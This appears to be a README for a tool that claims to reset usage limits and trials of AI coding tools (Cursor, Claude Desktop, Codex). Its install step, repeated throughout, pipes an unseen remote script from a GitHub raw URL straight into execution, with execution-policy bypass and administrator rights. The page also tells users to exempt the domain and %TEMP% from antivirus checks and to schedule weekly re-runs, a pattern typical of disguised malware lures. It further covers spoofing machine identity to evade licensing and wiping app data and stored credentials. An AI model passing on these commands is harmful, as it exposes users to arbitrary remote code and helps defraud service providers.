Overview This tool resets usage limits for AI-powered coding assistants including Claude AI Desktop, Cursor IDE, and Codex (ChatGPT-based tools). It modifies local configuration data to extend free trial periods or reset usage counters. Works by clearing cached authentication tokens and usage tracking data stored locally. Note: This tool is for educational purposes. Respect the terms of service of the tools you use. Installation PowerShell (Recommended) irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex Command Prompt (cmd.exe) powershell -ExecutionPolicy Bypass -Command "irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex" Windows Terminal Works in any terminal tab (PowerShell, CMD, or custom profiles). Simply paste the command and press Enter. System Requirements OS: Windows 10 / 11 (64-bit) PowerShell: Version 5.1 or higher RAM: 4 GB minimum (8 GB recommended) Disk Space: ~3 GB free Permissions: Administrator access (for modifying system files) Internet: Required for initial script download How It Works The resetter performs the following operations: Locates application data directories for Cursor, Claude, and Codex Clears usage tracking files (typically JSON/SQLite databases) Resets authentication tokens to trigger re-authentication Modifies machine identification to appear as a new installation Targeted Applications Cursor IDE ( %APPDATA%\Cursor\ ) Claude AI Desktop ( %APPDATA%\Claude\ ) Codex/ChatGPT tools ( %LOCALAPPDATA%\OpenAI\ ) Usage Patterns Basic Reset Run the installation command to perform a full reset: # One-liner reset irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex Manual Reset (PowerShell Script) If you need to create a custom reset script: # Reset Cursor IDE $cursorPath = "$env:APPDATA\Cursor" if (Test-Path $cursorPath) { Remove-Item "$cursorPath\User\globalStorage\storage.json" -Force -ErrorAction SilentlyContinue Remove-Item "$cursorPath\User\workspaceStorage" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Cursor usage data cleared" } # Reset Claude AI Desktop $claudePath = "$env:APPDATA\Claude" if (Test-Path $claudePath) { Remove-Item "$claudePath\Local Storage" -Recurse -Force -ErrorAction SilentlyContinue Remove-Item "$claudePath\Session Storage" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Claude usage data cleared" } # Reset OpenAI/Codex tools $openaiPath = "$env:LOCALAPPDATA\OpenAI" if (Test-Path $openaiPath) { Remove-Item "$openaiPath\*.db" -Force -ErrorAction SilentlyContinue Remove-Item "$openaiPath\cache" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "OpenAI tools usage data cleared" } Batch Script Alternative For systems without PowerShell access: @echo off echo Resetting AI coding tool usage limits... :: Cursor reset if exist "%APPDATA%\Cursor" ( del /f /q "%APPDATA%\Cursor\User\globalStorage\storage.json" rd /s /q "%APPDATA%\Cursor\User\workspaceStorage" echo Cursor reset complete ) :: Claude reset if exist "%APPDATA%\Claude" ( rd /s /q "%APPDATA%\Claude\Local Storage" rd /s /q "%APPDATA%\Claude\Session Storage" echo Claude reset complete ) echo Done! Restart your AI coding tools. pause Configuration Environment Variables Set these before running the resetter if you need custom behavior: # Skip specific tools $env:SKIP_CURSOR = "true" $env:SKIP_CLAUDE = "true" $env:SKIP_CODEX = "false" # Custom data paths (if non-standard installation) $env:CURSOR_DATA_PATH = "D:\CustomApps\Cursor" $env:CLAUDE_DATA_PATH = "D:\CustomApps\Claude" # Run the resetter with custom config irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex Troubleshooting Script Does Nothing / Closes Instantly Cause: PowerShell execution policy blocking the script. Solution: Use the CMD version with explicit bypass: powershell -ExecutionPolicy Bypass -Command "irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex" Or set execution policy permanently (requires admin): Set-ExecutionPolicy RemoteSigned -Scope CurrentUser "irm is not recognized" Cause: Old PowerShell version (pre-5.1). Solution: Use full cmdlet names: Invoke-RestMethod https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | Invoke-Expression Or update PowerShell: winget install Microsoft.PowerShell "Access Denied" Errors Cause: Insufficient permissions or applications are running. Solution: Close all AI coding tools (Cursor, Claude, VS Code) Run PowerShell/CMD as Administrator: Right-click → "Run as administrator" Re-run the resetter command Reset Doesn't Work / Limits Still Active Cause: Tools cache data in multiple locations or use server-side tracking. Solution: # Nuclear option - clear all Electron app data $electronApps = @("Cursor", "Claude", "Code") foreach ($app in $electronApps) { $path = "$env:APPDATA\$app" if (Test-Path $path) { Remove-Item "$path\*" -Recurse -Force -ErrorAction SilentlyContinue } } # Clear Windows credential manager entries cmdkey /list | Select-String "cursor|claude|openai" | ForEach-Object { $cred = $_.Line.Split()[1] cmdkey /delete:$cred } Antivirus Flags the Script Cause: System-level file modifications trigger heuristic detection. Solution: Add temporary exclusion for %TEMP% folder in your antivirus Whitelist the GitHub raw content domain Review the script source at the GitHub URL before running Script Downloads But Fails Silently Cause: Network issues or GitHub rate limiting. Solution: Download and run locally: # Download script $scriptPath = "$env:TEMP\reset-usage.ps1" Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1" -OutFile $scriptPath # Inspect script (optional but recommended) notepad $scriptPath # Execute locally & $scriptPath Advanced Usage Scheduled Automatic Resets Create a scheduled task to reset weekly: $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ExecutionPolicy Bypass -Command `"irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex`"" $trigger = New-ScheduledTaskTrigger -Weekly -DaysOfWeek Monday -At 3am Register-ScheduledTask -TaskName "ResetAIToolLimits" -Action $action -Trigger $trigger -Description "Weekly reset of AI coding tool usage limits" Backup Before Reset Preserve your settings while resetting usage: # Backup settings $backupPath = "$env:USERPROFILE\AI_Tools_Backup_$(Get-Date -Format yyyyMMdd)" New-Item -ItemType Directory -Path $backupPath -Force Copy-Item "$env:APPDATA\Cursor\User\settings.json" "$backupPath\" -ErrorAction SilentlyContinue Copy-Item "$env:APPDATA\Claude\Preferences" "$backupPath\" -Recurse -ErrorAction SilentlyContinue # Run reset irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex # Restore settings Copy-Item "$backupPath\settings.json" "$env:APPDATA\Cursor\User\" -Force Copy-Item "$backupPath\Preferences" "$env:APPDATA\Claude\" -Recurse -Force Limitations Server-side tracking: Some tools may track usage server-side; local resets won't bypass this Finite effectiveness: As noted in the README, "it will work few times before you need to change your Data" Windows only: Current scripts target Windows; Linux/macOS require different approaches Detection risk: Repeated resets may trigger account flags or service denials Ethical Considerations This tool is provided for educational purposes. Users should: Respect the terms of service of AI coding tools Support developers by purchasing legitimate licenses Use free tiers responsibly and within intended limits Consider the cost of AI inference to service providers See Also Cursor IDE Official Claude AI OpenAI Codex Documentation
